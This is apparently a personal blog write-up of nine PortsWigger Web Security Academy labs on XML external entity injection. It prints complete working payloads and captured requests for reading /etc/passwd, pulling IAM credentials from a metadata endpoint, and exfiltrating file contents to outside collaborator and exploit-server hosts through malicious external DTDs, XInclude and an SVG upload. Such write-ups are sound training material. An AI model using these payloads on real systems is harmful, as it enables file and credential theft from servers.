2410 words
12 minutes
PortsWigger XML eXternal Entity Injection (XXE) Labs - November 2025
XML external entity (XXE) injection

- XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an applicationβs processing of XML data.
- It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.
- In some situations, an attacker can escalate an XXE attack to compromise the underlying server or other back-end infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks.
What is DTD in XML
- The XML document type definition (DTD) contains declarations that can define the structure of an XML document, the types of data values it can contain, and other items. The DTD is declared within the optionalΒ
DOCTYPEΒ element at the start of the XML document. - The DTD can be fully self-contained within the document itself (known as an ==βinternal DTDβ)== or can be loaded from elsewhere ==(known as an βexternal DTDβ)== or can be hybrid of the two.
Lab 1: Exploiting XXE using external entities to retrieve files

- This website have
Check Stockfeature which is parsing XML input and return some value so we have to perform attack on it. - We will clock check stock and capture the req,


POST /product/stock HTTP/1.1Host: 0a1d00120396b19f80a1266b002600b6.web-security-academy.netConnection: keep-aliveContent-Length: 107sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"Content-Type: application/xmlsec-ch-ua-mobile: ?0Accept: */*Origin: https://0a1d00120396b19f80a1266b002600b6.web-security-academy.netSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://0a1d00120396b19f80a1266b002600b6.web-security-academy.net/product?productId=1Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: session=tNViPEyPjgdD1alEAOyHvMjC4Qdf6RDx
<?xml version="1.0" encoding="UTF-8"?><stockCheck> <productId> 1 </productId> <storeId> 1 </storeId></stockCheck>- So we will inject out payload inside DTD which will lead to
LFIand leak of/etc/passwd
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]><stockCheck> <productId>&xxe;</productId> <storeId>1</storeId></stockCheck>- Here is the complete request,
POST /product/stock HTTP/1.1Host: 0a1d00120396b19f80a1266b002600b6.web-security-academy.netConnection: keep-aliveContent-Length: 107sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"Content-Type: application/xmlsec-ch-ua-mobile: ?0Accept: */*Origin: https://0a1d00120396b19f80a1266b002600b6.web-security-academy.netSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://0a1d00120396b19f80a1266b002600b6.web-security-academy.net/product?productId=1Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: session=tNViPEyPjgdD1alEAOyHvMjC4Qdf6RDx
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]><stockCheck> <productId>&xxe;</productId> <storeId>1</storeId></stockCheck>
daemon: x: 1: 1: daemon: /usr/sbin: /usr/sbin / nologinbin: x: 2: 2: bin: /bin:/usr / sbin / nologinsys: x: 3: 3: sys: /dev:/usr / sbin / nologinsync: x: 4: 65534: sync: /bin:/bin / syncgames: x: 5: 60: games: /usr/games: /usr/sbin / nologinman: x: 6: 12: man: /var/cache / man: /usr/sbin / nologinlp: x: 7: 7: lp: /var/spool / lpd: /usr/sbin / nologinmail: x: 8: 8: mail: /var/mail: /usr/sbin / nologinnews: x: 9: 9: news: /var/spool / news: /usr/sbin / nologinuucp: x: 10: 10: uucp: /var/spool / uucp: /usr/sbin / nologinproxy: x: 13: 13: proxy: /bin:/usr / sbin / nologinwww - data: x: 33: 33: www - data: /var/www: /usr/sbin / nologinbackup: x: 34: 34: backup: /var/backups: /usr/sbin / nologinlist: x: 38: 38: Mailing List Manager: /var/list: /usr/sbin / nologinirc: x: 39: 39: ircd: /var/run / ircd: /usr/sbin / nologingnats: x: 41: 41: Gnats Bug - Reporting System(admin): /var/lib / gnats: /usr/sbin / nologinnobody: x: 65534: 65534: nobody: /nonexistent:/usr / sbin / nologin_apt: x: 100: 65534::/nonexistent:/usr / sbin / nologinpeter: x: 12001: 12001::/home/peter: /bin/bashcarlos: x: 12002: 12002::/home/carlos: /bin/bashuser: x: 12000: 12000::/home/user: /bin/bashelmer: x: 12099: 12099::/home/elmer: /bin/bashacademy: x: 10000: 10000::/academy:/bin / bashmessagebus: x: 101: 101::/nonexistent:/usr / sbin / nologindnsmasq: x: 102: 65534: dnsmasq, , ,: /var/lib / misc: /usr/sbin / nologinsystemd - timesync: x: 103: 103: systemd Time Synchronization, , ,: /run/systemd: /usr/sbin / nologinsystemd - network: x: 104: 105: systemd Network Management, , ,: /run/systemd: /usr/sbin / nologinsystemd - resolve: x: 105: 106: systemd Resolver, , ,: /run/systemd: /usr/sbin / nologinmysql: x: 106: 107: MySQL Server, , ,: /nonexistent:/bin / falsepostgres: x: 107: 110: PostgreSQL administrator, , ,: /var/lib / postgresql: /bin/bashusbmux: x: 108: 46: usbmux daemon, , ,: /var/lib / usbmux: /usr/sbin / nologinrtkit: x: 109: 115: RealtimeKit, , ,: /proc:/usr / sbin / nologinmongodb: x: 110: 117::/var/lib / mongodb: /usr/sbin / nologinavahi: x: 111: 118: Avahi mDNS daemon, , ,: /var/run / avahi - daemon: /usr/sbin / nologincups - pk - helper: x: 112: 119: userfor cups - pk - helper service, , ,: /home/cups - pk - helper: /usr/sbin / nologingeoclue: x: 113: 120::/var/lib / geoclue: /usr/sbin / nologinsaned: x: 114: 122::/var/lib / saned: /usr/sbin / nologincolord: x: 115: 123: colord colour management daemon, , ,: /var/lib / colord: /usr/sbin / nologinpulse: x: 116: 124: PulseAudio daemon, , ,: /var/run / pulse: /usr/sbin / nologingdm: x: 117: 126: Gnome Display Manager: /var/lib / gdm3: /bin/false
Lab 2: Exploiting XXE to Perform SSRF attacks


- We have to capture the
Check Stockreq so here it is,
POST /product/stock HTTP/1.1Host: 0a36002504a4e18b8084172c00b7004d.web-security-academy.netConnection: keep-aliveContent-Length: 107sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"Content-Type: application/xmlsec-ch-ua-mobile: ?0Accept: */*Origin: https://0a36002504a4e18b8084172c00b7004d.web-security-academy.netSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://0a36002504a4e18b8084172c00b7004d.web-security-academy.net/product?productId=1Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: session=G29ap0qjBobfyLLmtbShcqZmdVyRbdjE
<?xml version="1.0" encoding="UTF-8"?><stockCheck> <productId> 1 </productId> <storeId> 1 </storeId></stockCheck>- It here the Payload which we will inject into out req,
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]><stockCheck> <productId>&xxe;</productId> <storeId>1</storeId></stockCheck>POST /product/stock HTTP/1.1Host: 0a36002504a4e18b8084172c00b7004d.web-security-academy.netConnection: keep-aliveContent-Length: 107sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="142", "Google Chrome";v="142", "Not_A Brand";v="99"Content-Type: application/xmlsec-ch-ua-mobile: ?0Accept: */*Origin: https://0a36002504a4e18b8084172c00b7004d.web-security-academy.netSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://0a36002504a4e18b8084172c00b7004d.web-security-academy.net/product?productId=1Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: session=G29ap0qjBobfyLLmtbShcqZmdVyRbdjE
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]><stockCheck> <productId>&xxe;</productId> <storeId>1</storeId></stockCheck>- We successfully get IAM Secret Access Key

{"Code": "Success","LastUpdated": "2025-11-10T06:07:56.118511689Z","Type": "AWS-HMAC","AccessKeyId": "MfZuA9JCkkhYdijn3ei5","SecretAccessKey": "LaPTGVYvMsc09Kr9teV9yEMAD6xATbLmhr8FkBPz","Token": "065Ji5oKMvuDFPvdjXVVDuqcjjcsGOZ7FifalsHnyXyAxgG7m9zBm27hTLEpsvF4O1laq97Z3MB8XuQ1r9Kft4UPRzNw8mwfv7qXSVDP781bjSNIgyflIU3KhblmuOJ9pX6aubpxiPkD7rp96XWMfxEiDv2875t0nF6nLjb2Shy9NPw4s73FHgNrTwZfGTgfrHdlyuIe5WbZitaJU7bwmjPxNWhF0xBkkzSnXAxryHjfsOYb5PAYq7L4Kk5byifP","Expiration": "2031-11-09T06:07:56.118511689Z"}
Lab 3: Blind XXE with out-of-band interaction

- So as previous lab we have to capture
/product/stockendpoint which is sending XML data to server so we can try there our payload,
POST /product/stock HTTP/2Host: 0aaf0067032459d785d0545f00eb0031.web-security-academy.netCookie: session=zkqwjVuhCv09McN6crtfjZPRlB7IACy0Content-Length: 107Sec-Ch-Ua-Platform: "Windows"Accept-Language: en-US,en;q=0.9Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142"Content-Type: application/xmlSec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36Accept: */*Origin: https://0aaf0067032459d785d0545f00eb0031.web-security-academy.netSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://0aaf0067032459d785d0545f00eb0031.web-security-academy.net/product?productId=1Accept-Encoding: gzip, deflate, brPriority: u=1, i
<?xml version="1.0" encoding="UTF-8"?><stockCheck> <productId>1</productId> <storeId>1</storeId></stockCheck>- Since this is blind XXE so we can replace xml with this payload which contains burp collaborator url,
- It made req to that url and if we get then we have xxe working
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://ccsipkjptbut4x6e5u9u42y8szyqmga5.oastify.com/xxe-test">]><stockCheck> <productId>&xxe;</productId> <storeId>1</storeId></stockCheck>
- We got response in collab, and there is motive of this lab so we solved the lab.


Lab 4: Lab: Blind with out-of-band interaction via XML parameter entities

- Again we capture the
/product/stockreq and see whatβs in it,
POST /product/stock HTTP/2Host: 0ad000a50319f45784c10f9b006d000f.web-security-academy.netCookie: session=Qu0LiaEWo8Ub2dojX5vysj2kzFlUVEoyContent-Length: 107Sec-Ch-Ua-Platform: "Windows"Accept-Language: en-US,en;q=0.9Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142"Content-Type: application/xmlSec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36Accept: */*Origin: https://0ad000a50319f45784c10f9b006d000f.web-security-academy.netSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://0ad000a50319f45784c10f9b006d000f.web-security-academy.net/product?productId=1Accept-Encoding: gzip, deflate, brPriority: u=1, i
<?xml version="1.0" encoding="UTF-8"?><stockCheck> <productId>1</productId> <storeId>1</storeId></stockCheck>- I tried previous payload but got blocked so we have to try different tag to bypass this,

- After trying multiple things this works,
- These are Parameter Entities (
%entity) - Parameter entities:
- Start with
% - Are used inside DTDs only
- Never appear in the final XML content
- Are often not blocked, because most filters only target general entities (
&name;)
- Start with
- Since your external DTD does not contain harmful instructions (only a URL), the parser just makes the OOB call.
<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY % ext SYSTEM "http://1fh7s9mew0xi7m938jcj7r1xvo1fp6dv.oastify.com/xxe-test"> %ext;]><stockCheck> <productId>1</productId> <storeId>1</storeId></stockCheck>

- And we solve the lab by doing this,

Lab 5: Exploiting blind XXE to exfiltrate data using a malicious external DTD

- We have to exfiltrate the
/etc/hostcontent to solve this lab so first we capture the/product/stockreq,
POST /product/stock HTTP/2Host: 0a4d009903fedb1180966766003e0092.web-security-academy.netCookie: session=IwehDMHwI98PLuxNiOrLxxiEWjZR2231Content-Length: 107Sec-Ch-Ua-Platform: "Windows"Accept-Language: en-US,en;q=0.9Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142"Content-Type: application/xmlSec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36Accept: */*Origin: https://0a4d009903fedb1180966766003e0092.web-security-academy.netSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://0a4d009903fedb1180966766003e0092.web-security-academy.net/product?productId=1Accept-Encoding: gzip, deflate, brPriority: u=1, i
<?xml version="1.0" encoding="UTF-8"?><stockCheck> <productId>1</productId> <storeId>1</storeId></stockCheck>- So to solve this challenge we have to host out exploit server which contains this exploit so exfiltrate
/etc/hostnameswith this collab urlbydhbj5ofagsqwsdrtvtq1k7eykp8hw6.oastify.com, - It renders
hostnamefile usingfile:///protocol and append it to our burp endpoint with any random parameters so this will send data through url, - we store this file in exploit server, and we do view exploit and copy that url,
<!ENTITY % file SYSTEM "file:///etc/hostname"><!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://bydhbj5ofagsqwsdrtvtq1k7eykp8hw6.oastify.com/?x=%file;'>">%eval;%exfil;

https://exploit-0ac300340382db7880c8665101af0032.exploit-server.net/exploit- Now we have to embed above url in actual xml payload which pull this DTD from our server and executes it,
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ac300340382db7880c8665101af0032.exploit-server.net/exploit"> %xxe;]><stockCheck> <productId>1</productId> <storeId>1</storeId></stockCheck>

- hostname is
c0777275c175and after submit this solution we solve the lab,

Lab 6: Exploiting blind XXE to retrieve data via error messages

- To solve this lab we have to display content of
/etc/passwdso here is/product/stockreq,
POST /product/stock HTTP/2Host: 0ada00680388a92782c598eb00f3006b.web-security-academy.netCookie: session=dN909puMGZnPHSlv3I3NPE72CsGIZkgNContent-Length: 107Sec-Ch-Ua-Platform: "Windows"Accept-Language: en-US,en;q=0.9Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142"Content-Type: application/xmlSec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36Accept: */*Origin: https://0ada00680388a92782c598eb00f3006b.web-security-academy.netSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://0ada00680388a92782c598eb00f3006b.web-security-academy.net/product?productId=1Accept-Encoding: gzip, deflate, brPriority: u=1, i
<?xml version="1.0" encoding="UTF-8"?><stockCheck> <productId>1</productId> <storeId>1</storeId></stockCheck>- This is exploit hosted on exploit sever,
<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>">%eval;%exfil;
- We grab the URL of exploit server where DTD is hosted by doing view exploit,
https://exploit-0a2600990353a94382bf975d01b700fb.exploit-server.net/exploit
- Final XML Exploit which we send to server,
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "https://exploit-0a2600990353a94382bf975d01b700fb.exploit-server.net/exploit"> %xxe;]><stockCheck> <productId>1</productId> <storeId>1</storeId></stockCheck>- it works and we got
/etc/passwddirectly in response with some error,


Lab 7: Exploiting XInclude to retrieve files

- Here is the
CheckStockreq,
POST /product/stock HTTP/2Host: 0a840013044f220085404bd2003c006a.web-security-academy.netCookie: session=q887Y0wxz5bGzcDsYRs8j6HCW9C7DpvJContent-Length: 21Sec-Ch-Ua-Platform: "Windows"Accept-Language: en-US,en;q=0.9Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142"Content-Type: application/x-www-form-urlencodedSec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36Accept: */*Origin: https://0a840013044f220085404bd2003c006a.web-security-academy.netSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://0a840013044f220085404bd2003c006a.web-security-academy.net/product?productId=1Accept-Encoding: gzip, deflate, brPriority: u=1, i
productId=1&storeId=1- In this lab Because we donβt control the entire XML document we canβt define a DTD to launch a classic XXE attack.
[!hint] XInclude is part of the XML standard (
XLink) that allows one XML document to include another external file.
- so as per description, inject anΒ
XIncludeΒ statement to retrieve the contents of theΒ/etc/passwdΒ file - This tells the XML parser:
- βBefore processing, fetch this file and include its contents here.β
<xi:include href="other.xml" parse="xml" xmlns:xi="http://www.w3.org/2001/XInclude"/>- Here is actual payload,
<xi:include href="file:///etc/passwd" parse="text" xmlns:xi="http://www.w3.org/2001/XInclude" />- Here is what happens:
xi:includeis recognized as an XInclude directive- The parser sees
href="file:///etc/passwd" - It loads that file from the filesystem
- The contents of
/etc/passwdreplace the<xi:include>tag
- We will inject this payload into out parameters,
productId=<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="file:///etc/passwd" parse="text"/>&storeId=1- We got
/etc/passwdand also solved the lab,


Lab 8: Exploiting XXE via image file upload

- This lab lets users attach avatars to comments and uses the Apache Batik library to process avatar image files.
[!hint] The SVG image format uses XML.
- Apache Batik :- A Java library used to render SVG images β converts them into raster graphics.
- SVG is not just an image format β it is XML.
- So when the server thinks itβs processing an βimageβ, Batik is actually parsing XML.
- Here is the
/post/commentendpoint request in which i tried upload belowshell.svgwith needed details.
<?xml version="1.0" standalone="yes"?><!DOCTYPE svg [ <!ENTITY hostname SYSTEM "file:///etc/hostname">]><svg width="300" height="50" xmlns="http://www.w3.org/2000/svg" version="1.1"> <text x="10" y="30" font-size="20">&hostname;</text></svg>POST /post/comment HTTP/2Host: 0ae500da04f5442b80fe357d00ae00a3.web-security-academy.netCookie: session=4CmpDnsIAE8Cpo9lDr1pZwDn36ZIXolmContent-Length: 1073Cache-Control: max-age=0Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Language: en-US,en;q=0.9Origin: https://0ae500da04f5442b80fe357d00ae00a3.web-security-academy.netContent-Type: multipart/form-data; boundary=----WebKitFormBoundary49osAwipf2s1ka4jUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://0ae500da04f5442b80fe357d00ae00a3.web-security-academy.net/post?postId=1Accept-Encoding: gzip, deflate, brPriority: u=0, i
------WebKitFormBoundary49osAwipf2s1ka4jContent-Disposition: form-data; name="csrf"
1ZCqa1BZYXkJHxYikDmxz9p3kbTM9fb7------WebKitFormBoundary49osAwipf2s1ka4jContent-Disposition: form-data; name="postId"
1------WebKitFormBoundary49osAwipf2s1ka4jContent-Disposition: form-data; name="comment"
SHELL------WebKitFormBoundary49osAwipf2s1ka4jContent-Disposition: form-data; name="name"
b14cky------WebKitFormBoundary49osAwipf2s1ka4jContent-Disposition: form-data; name="avatar"; filename="shell.svg"Content-Type: image/svg+xml
<?xml version="1.0" standalone="yes"?><!DOCTYPE svg [ <!ENTITY hostname SYSTEM "file:///etc/hostname">]><svg width="300" height="50" xmlns="http://www.w3.org/2000/svg" version="1.1"> <text x="10" y="30" font-size="20">&hostname;</text></svg>
------WebKitFormBoundary49osAwipf2s1ka4jContent-Disposition: form-data; name="email"
b14cky@b14cky.com------WebKitFormBoundary49osAwipf2s1ka4jContent-Disposition: form-data; name="website"
------WebKitFormBoundary49osAwipf2s1ka4j--- After that we can comment here, and when we open that image by left click on that small line we can see the hostname being parsed as image,
- And by submitting this we solve the lab,

ca02670f9934

Lab 9: Lab: Exploiting XXE to retrieve data by repurposing a local DTD

- To solve the lab, trigger an error message containing the contents of theΒ
/etc/passwdΒ file. - We βll need to reference an existing DTD file on the server and redefine an entity from it.
[!hint] Systems using the GNOME desktop environment often have a DTD atΒ
/usr/share/yelp/dtd/docbookx.dtdΒ containing an entity calledΒISOamso.
- here is the
/product/stockrequest,
POST /product/stock HTTP/2Host: 0a4d00fd043c861785096a5f003c00b5.web-security-academy.netCookie: session=R0yEJiPTL22MkObAvejC94rcXXXCesDqContent-Length: 107Sec-Ch-Ua-Platform: "Windows"Accept-Language: en-US,en;q=0.9Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142"Content-Type: application/xmlSec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36Accept: */*Origin: https://0a4d00fd043c861785096a5f003c00b5.web-security-academy.netSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://0a4d00fd043c861785096a5f003c00b5.web-security-academy.net/product?productId=1Accept-Encoding: gzip, deflate, brPriority: u=1, i
<?xml version="1.0" encoding="UTF-8"?><stockCheck> <productId>1</productId> <storeId>1</storeId></stockCheck>- Here is the payload that we will use to dump
/etc/passwd, - Loads a trusted DTD (
docbookx.dtd) - Overrides a known parameter entity (
ISOamso) - Overrides it with malicious parameter entities:
fileβ loads/etc/passwdevalβ constructs a new entity namederrorerrorβ references invalid URL containing file contents β triggers SAX error showing/etc/passwd
- The parser re-expands everything, hits the invalid entity β throws error β reveals file content.
<?xml version="1.0"?><!DOCTYPE message [<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"><!ENTITY % ISOamso '<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;'>%local_dtd;]><stockCheck> <productId>&xxe;</productId> <storeId>1</storeId></stockCheck>

PortsWigger XML eXternal Entity Injection (XXE) Labs - November 2025
https://fuwari.vercel.app/posts/portswigger-xml-external-entity-injection-xxe/xxe/